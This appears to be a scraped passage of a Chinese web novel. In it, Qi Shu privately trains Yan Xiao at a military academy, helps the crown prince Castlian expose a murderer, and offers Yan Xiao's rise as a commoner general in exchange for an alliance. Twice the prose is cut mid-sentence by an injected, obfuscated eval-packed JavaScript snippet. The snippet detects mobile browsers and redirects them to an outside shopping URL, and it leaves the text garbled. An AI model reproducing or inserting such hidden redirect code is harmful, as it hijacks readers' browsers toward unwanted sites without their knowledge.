饭后得知这几天不能去学校上课,燕骁惊讶了一下,但听戚疏解释说是为了他的安全,虽然不觉得自己会有什么危险,但燕骁还是听话地留下了。 理论课的课本有电子版,但这几天的机甲训练课就没办法补了,燕骁盘算着回学校后要抽出几个晚上才能把这段时间的课程补足,就见戚疏从书房走出来,径直朝他走来。 “怎么了?” 戚疏在他身后站定,微微俯身,白金色的发丝和身上的雪松气息一并靠过来,燕骁偏了偏头:“在想实训课要怎么补,快到期末了。” 别看军校平时对他们监管不严,但期末考核是一点都不会放水,不及格的学生不仅要在下个学期重修这门课,还将受到任课教授的“特殊”对待。 燕骁本来就基础薄弱,好不容易跟上了大家的节奏,休息几天过去,可能又要跟不上了。 他的精神力已经稳定在了b+级,如果想要再次晋升,只有通过强烈的刺激或大量训练,寻找精神力提升等级的突破口。 戚疏朝他勾了勾手指:“跟我来。” 燕骁好奇地跟上去,就见戚疏走到一楼墙边,在空白墙面上按了一下,突然墙面开始震动,紧接着一道隐形门旋转打开,露出一条长长的向下的走廊。 “带你下去看看。” 戚疏没有回头,却准确无误地伸手圈住了青年的手腕,燕骁抿唇,没有挣动,任由他拉着自己,走进了面前这个看似神秘的长廊。 出乎燕骁的意料,长廊尽头不是什么黑漆漆的密室,而是一间光线明亮、设备先进的训练室。 一间完全不输军校专业训练场的私人训练室。 燕骁惊讶地睁大眼睛。 这间训练室的一面墙壁是全透明的,站在门外就可以看清楚训练室内的全部,戚疏在门口处验证了虹膜和指纹,随着训练室隔离门的开启,内部的各种器械和灯光都应声而亮。 而训练室深处还有一道顶天立地的大门,内部停放着两台市面上可见的最新款的战斗机甲。 燕骁再一次被戚疏恐怖的财力震惊。 戚疏带着他来到训练室正中央,递上一套护具,挑眉道:“这段时间就在这里上实操课,我来担任你的教官。” “那么今天,就从近身格斗开始吧。” * 原剧情里,燕骁的实战能力是在一次次通宵训练中提升的,每每结束白天的课程和兼职工作后,他都会趁着半夜无人去往训练场,自己一个人和辅助系统对练到天明,第二天重复这样的节奏,周而复始,一点一点,靠自己摸索出了适合自己的战斗方式。 戚疏不敢细想那样的燕骁吃了多少苦,受了多少罪。沉重的生活压力和周围人的恶意没有将他打倒,反而促使着他更加努力,即便走了很多弯路,即便跌跌撞撞受了无数挫折,但他都咬牙挺过来了。 汗水一滴一滴砸在地面上,燕骁费力地抬头,对上戚疏鼓励的目光:“就是这样,很好,继续攻击我的弱点。” 砰。砰,砰,砰。 勾拳,踢腿,膝顶,每一招每一式,戚疏都陪着他练习了成百上千次,直到出击成为条件反射,直到他终于结结实实地砸到戚疏身上。 而战斗的同时,精神力早已抑制不住地躁动起来,叫嚣着参与战局。 □□和□□的碰撞,精神力和精神力的摩擦,两个人的距离不断拉近又扯远,精神力在空中对撞,咆哮着吞噬,又肆意地纠缠。 直到体力和精神力都耗尽了,燕骁摇摇晃晃地躺倒在训练室中央的地板上,四肢大展,胸膛剧烈起伏,喘着粗气看向替他挡光的男人。 戚疏单膝跪了下来,一只手伸到他的上方,燕骁被训练出了应激反应,下意识就要抬手去挡,那只手却轻柔地落在他头顶,揉了揉。 含笑的嗓音在耳边响起。 “表现不错,给你满分。” 急促的心跳慢慢平息,燕骁恍惚抬手,攥住了眼前这截晃动的白皙手腕。 * 自从戚疏开始当他的教官和陪练,燕骁的进步几乎肉眼可见,专门针对他一个人制定的授课方案效果显著,短短几天就让他发生了巨大变化,身上的肌肉更加紧实有力,反应速度明显更快,甚至连精神力都隐隐有要突破的迹象。 ——在戚疏不动声色地每天喂养下。 原剧情里燕骁的每一次精神力进阶都代表着他又承受了一次巨大痛苦,戚疏没有信心让他完全错开这些剧情,那就只有用自己的方式让燕骁完成精神力进阶,拐着弯地代替原剧情发挥的作用。 在戚疏的饮食喂养和精神力喂养下,燕骁整个人像改头换面了似的,身高都拔高了两厘米,面色也越来越健康,嘴唇也有了血色。 宴会上的议员之死一事也终于有了结果。 因为戚疏的提醒,卡斯利安顺着线索查了下去,果真揪出了杀害艾斯克的凶手,是个在艾斯克家中做了很多年工的管家,艾斯克不知道他早已被别人收买,十分没有防备心地让人进了休息室,随后被杀害。 议员艾斯克之死在星网上掀起轩然大波,但因为卡斯利安处理及时,雷厉风行,又将凶手关押承诺送上法庭,公开审判公正处置,民众的愤怒被抚平,在舆论背后推波助澜的莱恩做的全成了无用功。 而现在的莱恩也顾不上其他,因为他隐藏得很好的一队亲卫被调查了,罪名是疑似与犯人牵扯共同谋害艾斯克议员。 “该死,该死!”桌面上的一切都被清扫摔碎,莱恩·沃斯顶着一张人畜无害的清纯面孔,神态却扭曲狰狞,“卡斯利安!!!” “本该万无一失的……到底是哪里出了错?内鬼、不,不是内鬼,是卡斯利安……该死的卡斯利安!是他将我耍的团团转!” 莱恩神色癫狂,一会儿喃喃自语说自己的计划不可能出错,一会儿又喊叫咒骂卡斯利安戏耍了他,在这个远离皇宫中心的偏远宫殿,三殿下莱恩·沃斯如同一条得了疯病的恶犬,疯狂地撕咬身边的一切。 之所以这么恨,是因为卡斯利安并没有捉拿他,也没有怀疑他与此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16980709|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事有关,亲卫在明面上和莱恩并无关系,但卡斯利安偏偏查到了亲卫身上,但也只查到了亲卫,并没有深入调查莱恩。 这无疑让多疑的莱恩更加恐慌。卡斯利安知道了多少,他是否已经知道了亲卫和自己的关系,是不是在试探自己,又或者是在等自己主动露出破绽? 莱恩神经质地思考着,怀疑着,控制不住颤抖的双手碰掉了一盏茶杯,瓷片碎裂的声音如同刀片割据着他大脑中紧绷的最后一根弦。 * “那个侍应生怎么样了?”燕骁想起那个推开门撞见面案尖叫的同事,询问燕骁他后来去了哪里。 “我让人将他带到了其他星球。”戚疏说,“只要他不主动暴露,就不会有人发现,风波过去后他的去留全凭他自己的意愿。” 燕骁没想到戚疏安排得这么妥帖,想到的办法想说的话都没了说出口的必要,于是,他点了点头。 干巴巴地说:“我替他谢谢你。” 如果不是戚疏将他安置好,难保莱恩的人会不会查到他身上并施以报复。 戚疏笑着偏头看他,眉眼间是毫不遮掩的勾引:“只是口头表示感谢吗?” “……”燕骁和他对视,慢半拍地听懂了他的意思,匆匆别开脸,耳尖再次红透。 戚疏见好就收,他了解燕骁的性格,从不在这种事情上逼迫,他有足够的耐心,等待燕骁主动向他敞开的那一天。 待卡斯利安在戚疏的帮助下将莱恩的势力全部监控之后,燕骁终于可以返回军校上课。 这段时间他们两人又同时消失再同时出现,第一军校的学生们针对他们关系的猜测不减反增,但由于这件事关乎皇室,卡斯利安将消息瞒得滴水不漏,谁都没有将他们的消失和议员命案联系到一起。 而回到军校后,戚疏和燕骁两个人几乎可以说是寸步不离,上课下课都在一起,这也让那些对燕骁瞧不起的人心里多了一份考量,毕竟戚家是他们得罪不起的家族,戚疏这样光明正大地偏爱,没人敢自寻死路地去针对燕骁。 时间一点一点划过,终于来到了期末,他们这届大一新生也迎来了军校生涯第一次大型学业考核,考核的成绩将直接影响到大二的分班情况。 “对考核有信心吗?”戚疏笑着问燕骁。 彼时他们两个坐在宿舍书桌前,燕骁面前摊开着几本理论书,戚疏撑着头坐在他身边,帮他做最后的查漏补缺。 现在的燕骁早已和半年前的他不同,若是说半年前的燕骁是孤僻的独狼,眼中燃烧的星火是不甘的反抗,那么现在的燕骁就是威风凛凛的雄鹰,眼底亮起的是对未来充满希望和自信的火焰。 在戚疏的注视下,他抿唇,嘴边那个小小的酒窝浮现出来: “当然。” 戚疏勾唇:“期待我唯一学生的优秀表现。” 听出他话音里的调侃,燕骁心中憋着一口气,这次考核不仅是对自己实力表现的排名,还是对戚疏这段时间辅导的效果验证,他必须、也一定会拿到好成绩。 考核结果没有让燕骁失望,当他的名字出现在排行榜第一排时,不仅是他自己,身后挤着来看成绩的一众学生都炸开了锅。 而燕骁的名字下方,戚疏的总成绩位列年级第二名,总分数和第一的差距只有三分之遥。 每个学生的成绩单校方都会发到他们的个人光脑上,但总有等不及的学生来教学楼下看最先出现的总榜,滚动大屏前站满了人,燕骁站在人群最前方,却只感觉身后的一切喧闹都逐渐离自己远去。 身侧,这道挺拔的身影成为视线中的唯一聚焦点。 戚疏注意到他的目光,看过来,眼中带着笑意: “恭喜,年级第一。” 20.贫穷的军校生(20) 燕骁的脸上却没有明显的笑意。 戚疏看了他片刻,突然伸出手,拉着他走出人群,此刻所有人都在往教学楼走,他们逆着人流,回到宿舍反倒没几个人了。 “戚疏。”燕骁在宿舍楼前拉住了他,此刻他们所在的小路上空无一人,说话也不会被人听见,“你是不是故意的?” 陪自己训练了那么多天,戚疏的实力他再清楚不过,自己怎么可能越过戚疏拿到第一? 燕骁第一次对他表现出愤怒的情绪,一双琥珀色的漂亮眼眸一眨不眨地盯着他,好似要从中找出一丝漏洞来。 系统看热闹不嫌事大:[哦豁,要翻车了。] 翻车是不能翻车的,戚疏稳如泰山,垂眸浅笑着看他:“怎么会,我们燕骁这点自信都没有么?你拿第一,就是实力如此。” “你!”见他不说实话,燕骁气急,慌不择路地一拳锤上他肩膀,“戚疏!” “乖,别生气。”戚疏笑着握住他的拳头,那一拳根本没用力,比起打人更像调情,他握住就不再松开了。 燕骁脸皮薄,做不出和他在宿舍楼外拉拉扯扯的事情,愤愤抽回手,快步回了宿舍,戚疏在后面不紧不慢地跟上。 这件事也就暂时翻篇了。 在这个关头,戚疏接到了来自卡斯利安的通讯。 “戚少爷。”这一次,卡斯利安看他的目光不再如上一次那样轻松,深深地注视着他片刻,说出了来意,“找个时间,我们谈谈。” 戚疏点头应下:“自然,我也正好有事,和殿下商量。” 卡斯利安的身份让他不能在明面上和戚疏来往过密,所以他将见面地点安排在了自己产业中的一家餐厅,确保绝对安全。 “不过,我还要带上一个人。”戚疏说。 卡斯利安还是用那种满含深意的眼神看着他,片刻后,松口:“可以。” * 约定当天,戚疏带着一头雾水的燕骁登上悬浮车,悬浮车带他们来到一处偏僻安静的餐厅,餐厅每日只接待一位私人预订,隐私性极好,服务生没有机器人,全部都是经过身份查证的人类。 卡斯利安确实将安全这方面做到了极致。 服务生帮忙推开门,戚疏和燕骁走进去,桌前却已经坐了一个人。 戚疏略微惊讶地挑眉,燕骁则是十分明显地震惊了一下,没想到戚疏神神秘秘带他来这里,会是和帝国储君卡斯利安见面。 他拘谨地行礼:“殿下,日安。” 卡斯利安颔首,对他的态度出奇的平和:“请坐。” 待几人入座,卡斯利安按了下桌边的铃,服务生开始有序上菜,外面难得一见的佳肴摆了满桌。 他略有些生疏地抬了抬手:“不用紧张,我们边吃边聊。” 卡斯利安这次身边没有带着亲卫,只有他自己出席,已经算得上给足了戚疏面子,也是信任的表现,这位在军队历练过几年的储君殿下性格刚正古板,即便已经刻意让自己显得平和,一举一动间还是充斥着上位者的威压。 “这次的事,多谢你的帮助。”卡斯利安说。 如果没有戚疏的提醒,他怕是压根不会怀疑到莱恩的身上,莱恩行事缜密又低调,在皇宫内宛如一个透明人,几乎没有人会将他和命案关联起来。或许就是因为灯下黑,才让他暗中发展起了一股属于自己的势力。 卡斯利安查到他的时候,即便有了心理准备,依旧小小吃了一惊,没想到他这个懦弱无能的弟弟居然心思深沉到这种地步。 好在发现的及时,议员艾斯克的死没有成为悬案,莱恩的势力也被他严密监控起来,事情得到完美解决,卡斯利安雷厉风行的作风还圈了一波帝国公民的好感,可以说是一箭双雕。 戚疏不骄不躁:“殿下谬赞,我的诚意已经摆了上来,不知道殿下现在对与我合作一事,意下如何?” 卡斯利安左手中指上戴了一枚镶嵌了金色宝石的戒指,此刻他慢慢转动戒指,双眼如鹰隼般盯住他:“戚家如日中天,在贵族之中的影响力不小,戚家千年积攒的财富更是堪比国库。而戚家之所以能够长盛不衰,便是因为戚家人从不参与皇权争夺。” 帝国的历任皇帝中,几乎没有不对戚家起心思的,戚家的权势、地位、财富,对皇室来说都是一大威胁。 但戚家能屹立不倒千年,一是因为帝国刚成立之初并不稳固,既要对抗星兽还要抵御外敌,历经千年才逐渐强盛起来,在这之前都没有余力去动戚家;二是因为戚家历任家主都足够聪明,懂得明哲保身,从不参与皇室的权力争夺,并主动与皇室达成商业上的深度合作,给予帝国皇室丰厚的利益。 戚家人一代代传承至今,就是因为拎得清,从不做逾越皇权的事,也是因为如此,戚家在商界和政界地位颇高,但在军部却看不到几个戚家人当上将领。 如此分析,戚疏完全没有必要站队卡斯利安,他只需要安稳从军校毕业,在军部历练几年后继承家业,就可以顺遂一生。 戚疏端起酒杯微抿了一口:“殿下说的有道理。” “但是,”他话音一转,“谁说,我要代表戚家了?” “哦?” 卡斯利安这时才真的被他挑起了些兴趣,“怎么说?” “这笔生意,由我戚疏和殿下做,戚家还是那个中立的戚家,如何?” 卡斯利安笑意不达眼底:“这样……看来戚家的野心,比我想象的还要大。” 偌大的戚家不与他合作站队,只让戚疏一人站出来,即便他有s级精神力又如何?单单一人能做的有限,抛却戚家,他一个人并不能给卡斯利安带来和风险相当的利益,这分明就是还抱着合作不成以戚家为退路的意思。 卡斯利安不做他想,眼底的神色冷了下来,s级精神力在空气中荡开,含着隐隐压力扑面朝戚疏压过去。 戚疏放出自己的精神力,毫不客气地对撞回去:“殿下莫急,还没听我细说,怎么知道这笔交易值不值?” 卡斯利安看了他半晌,将精神力收回,这便是同意听他解释的意思了。 戚疏轻笑一声,解释:“我仅代表自己与殿下合作,但戚家也并不是高枕无忧。这些年戚家看似风光无限,但权势在一点点缩减,自帝国稳定后戚家便深受皇室辖制,而这样滔天的权势没有一任皇帝能忍受,戚家迟早要被皇室清算。” 卡斯利安眼神微动,戚疏看在眼中,摊手坦诚道:“殿下不用这么看我,无论谁上位,戚家都是首当其冲的一个,不是吗?” “但你们明明可以扶持一个软弱无能的帝王,让他不得不依附戚家,也一样能延续戚家的辉煌,甚至更进一步。” “确实如此。”戚疏并不和他绕弯子,面对卡斯利安这样正直得有些古板的人,有什么说什么才是最好的选择,“但我并没有如此大的野心,也不愿看帝国落入一个不配做皇帝的皇帝手中。” 这句话可以说是很直白地夸赞卡斯利安了,戚疏的意思是,除了你卡斯利安,其他皇子在我眼中都不堪大任。 足够狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16983899|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妄。 但偏偏卡斯利安吃这一套。 直白的话语总比弯弯绕绕的好听,有一说一有二就说二,卡斯利安只爱听实话。况且他那些弟弟也确实没有一个能上得了台面。 “你能带给我什么?在不依靠戚家的前提下。”卡斯利安已经有些动摇了,但还需要谨慎行事,哪怕戚疏说得再好听,他目前也只是一个军校学生,对卡斯利安来说并不是必选答案,所以他想听听戚疏还有什么筹码。 “十年后,军部的将领层将有超过三分之一的平民出身将领。这个筹码,殿下觉得如何?” 现在的军部将领几乎全部出自贵族,哪怕其中有些已经依附了皇室,卡斯利安手下也有几个可用人选,但说到底还是力量太单薄,短时间内根本无法撼动贵族对军部的掌控。 这是历史遗留问题,也是帝国的隐患,如若不解决,迟早会酿成大祸,卡斯利安上位后必将整治军部。 但看过原剧情的戚疏知道,合适的人选不是那么好找到的,既要是平民出身,又要有足够强大的实力和精神力让军部的人信服,卡斯利安在这件事上频频受阻,计划推进得十分困难。 卡斯利安眸色深深:“看来你已有人选。” “就在殿下眼前。” 卡斯利安将视线移到戚疏身边一直安静的青年身上,打量了一圈。 上次在宴会厅见到对方,他便让亲卫去查了燕骁的身份,自然对他的情况有所了解。 “s级精神力潜力,级部第一,平民出身,确实不错,但还不够优秀。”远达不到让军部无话可讲的地步。 “如果我说,三年内,他的精神力一定能升到s级呢?”戚疏说。 “我们的精神力匹配度很高,我相信殿下也查到了这一点,但是还有一点殿下可能忽略了。”戚疏偏头看向燕骁,眼中是带着笑意的坚定,“精神力匹配度极高,代表着我可以用精神力喂养他的精神力,确保他达到检测中的潜力上限,甚至更高。” 燕骁瞳孔骤然放大,和他相握的那只手用力收紧。 卡斯利安也是一脸诧异。 精神力的等级从不是止于s级,s级之上也有强弱之分,只是帝国没有公布过s级以上的分级标准,但诸如戚疏、卡斯利安这样身份的s级,很清楚他们自身的精神力远超帝国公示的s级精神力上限。 而精神力喂养,便是生生用自己的精神力去喂养另一个人,当对方吸收到足够多的精神力,便能借此冲击等级之间的屏障,达到提升精神力等级的目的。 历来精神力匹配度高的人不是没有,但心甘情愿用自己的精神力喂养另一个人的,戚疏还是第一个。 卡斯利安看了他们半晌,目光落在他们交叠的手臂,皱眉思索片刻,了然地松开紧皱的眉头,再抬眼时神情已经发生变化。 “原来是这样的关系……”他感慨了一句,“帝国不歧视同性结合,但老派贵族想必不那么容易接受。” “这件事就不劳殿下关心了,我会处理好一切。”戚疏回他。 “好吧。”卡斯利安摊了摊手,“祝福你们。” 戚疏将话题拉回正轨:“燕骁代表平民,我的意愿不会是戚家的意愿,但若是殿下顺利登基,我也将成为贵族的风向标,届时殿下在军部便不会缺可用之人。” 卡斯利安手指点了点桌子:“但是,戚家会同意你的做法?” 戚疏看过去:“他们不同意也要同意。” 戚疏要做的从来都不是和他们商量,而是通知。